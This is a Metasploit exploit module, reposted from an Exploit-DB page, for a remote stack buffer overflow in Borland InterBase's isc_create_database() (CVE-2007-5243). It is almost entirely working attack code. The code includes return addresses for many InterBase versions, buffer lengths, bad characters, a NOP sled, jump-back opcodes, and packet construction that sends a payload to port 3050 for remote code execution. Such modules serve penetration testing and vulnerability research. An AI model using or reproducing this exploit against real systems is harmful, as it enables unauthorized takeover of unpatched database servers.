Borland Interbase – ‘isc_create_database()’ Remote Buffer Overflow (Metasploit)

  • 作者: Metasploit
    日期: 2010-07-03
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/16437/
  • ##
    # $Id: ib_isc_create_database.rb 9669 2010-07-03 03:13:45Z jduck $
    ##
    
    ##
    # This file is part of the Metasploit Framework and may be subject to
    # redistribution and commercial restrictions. Please see the Metasploit
    # Framework web site for more information on licensing and terms of use.
    # http://metasploit.com/framework/
    ##
    
    
    require 'msf/core'
    
    
    class Metasploit3 < Msf::Exploit::Remote
    	Rank = GoodRanking
    
    	include Msf::Exploit::Remote::Tcp
    	include Msf::Exploit::Remote::BruteTargets
    
    	def initialize(info = {})
    		super(update_info(info,
    			'Name'		=> 'Borland InterBase isc_create_database() Buffer Overflow',
    			'Description'	=> %q{
    				This module exploits a stack buffer overflow in Borland InterBase
    				by sending a specially crafted create request.
    			},
    			'Version'	=> '$Revision: 9669 $',
    			'Author'	=>
    				[
    					'ramon',
    					'Adriano Lima <adriano@risesecurity.org>',
    				],
    			'Arch'		=> ARCH_X86,
    			'Platform'	=> 'win',
    			'References'	=>
    				[
    					[ 'CVE', '2007-5243' ],
    					[ 'OSVDB', '38606' ],
    					[ 'BID', '25917' ],
    					[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
    				],
    			'Privileged'	=> true,
    			'License'	=> MSF_LICENSE,
    			'Payload'	=>
    				{
    					'Space' => 512,
    					'BadChars' => "\x00\x2f\x3a\x40\x5c",
    					'StackAdjustment' => -3500,
    				},
    			'Targets'	=>
    				[
    					[ 'Brute Force', { } ],
    					# 0x00403d4b pop esi; pop ebp; ret
    					[
    						'Borland InterBase WI-V8.1.0.257',
    						{ 'Length' => [ 2116, 2120 ], 'Ret' => 0x00403d4b }
    					],
    					# 0x00403d4d pop esi; pop ebp; ret
    					[
    						'Borland InterBase WI-V8.0.0.123',
    						{ 'Length' => [ 2116, 2120 ], 'Ret' => 0x00403d4d }
    					],
    					# 0x00403a5d pop esi; pop ebp; ret
    					[
    						'Borland InterBase WI-V7.5.0.129 WI-V7.5.1.80',
    						{ 'Length' => [ 2116, 2120 ], 'Ret' => 0x00403a5d }
    					],
    					# 0x004038fd pop esi; pop ebp; ret
    					[
    						'Borland InterBase WI-V7.0.1.1',
    						{ 'Length' => [ 2116, 2120 ], 'Ret' => 0x004038fd }
    					],
    					# 0x0040390d pop esi; pop ebp; ret
    					[
    						'Borland InterBase WI-V6.5.0.28',
    						{ 'Length' => [ 1332, 1336 ], 'Ret' => 0x0040390d }
    					],
    					# 0x00403901 pop esi; pop ebp; ret
    					[
    						'Borland InterBase WI-V6.0.1.6',
    						{ 'Length' => [ 1332, 1336 ], 'Ret' => 0x00403901 }
    					],
    					# 0x004038b1 pop esi; pop ebp; ret
    					[
    						'Borland InterBase WI-V6.0.0.627 WI-V6.0.1.0 WI-O6.0.1.6 WI-O6.0.2.0',
    						{ 'Length' => [ 1332, 1336 ], 'Ret' => 0x004038b1 }
    					],
    					# 0x00404a10 pop esi; pop ebp; ret
    					[
    						'Borland InterBase WI-V5.5.0.742',
    						{ 'Length' => [ 1432, 1436 ], 'Ret' => 0x00404a10 }
    					],
    					# 0x00404a0e pop esi; pop ebp; ret
    					[
    						'Borland InterBase WI-V5.1.1.680',
    						{ 'Length' => [ 1336, 1340 ], 'Ret' => 0x00404a0e }
    					],
    					# Debug
    					[
    						'Debug',
    						{ 'Length' => [ 1336 ], 'Ret' => 0xaabbccdd }
    					],
    				],
    			'DefaultTarget'	=> 0,
    			'DisclosureDate'=> 'Oct 03 2007'
    		))
    
    		register_options(
    			[
    				Opt::RPORT(3050)
    			],
    			self.class
    		)
    
    	end
    
    	def exploit_target(target)
    
    		target['Length'].each do |length|
    
    			connect
    
    			# Create database
    			op_create = 20
    
    			remainder = length.remainder(4)
    			padding = 0
    
    			if remainder > 0
    				padding = (4 - remainder)
    			end
    
    			buf = ''
    
    			# Operation/packet type
    			buf << [op_create].pack('N')
    
    			# Id
    			buf << [0].pack('N')
    
    			# Length
    			buf << [length].pack('N')
    
    			# Nop block
    			buf << make_nops(length - payload.encoded.length - 13)
    
    			# Payload
    			buf << payload.encoded
    
    			# Jump back into the nop block
    			buf << "\xe9" + [-1028].pack('V')
    
    			# Jump back
    			buf << "\xeb" + [-7].pack('c')
    
    			# Random alpha data
    			buf << rand_text_alpha(2)
    
    			# Target
    			buf << [target.ret].pack('V')
    
    			# Padding
    			buf << "\x00" * padding
    
    			# Database parameter block
    
    			# Length
    			buf << [1024].pack('N')
    
    			# Random alpha data
    			buf << rand_text_alpha(1024)
    
    			sock.put(buf)
    
    			select(nil,nil,nil,4)
    
    			handler
    
    		end
    
    	end
    
    end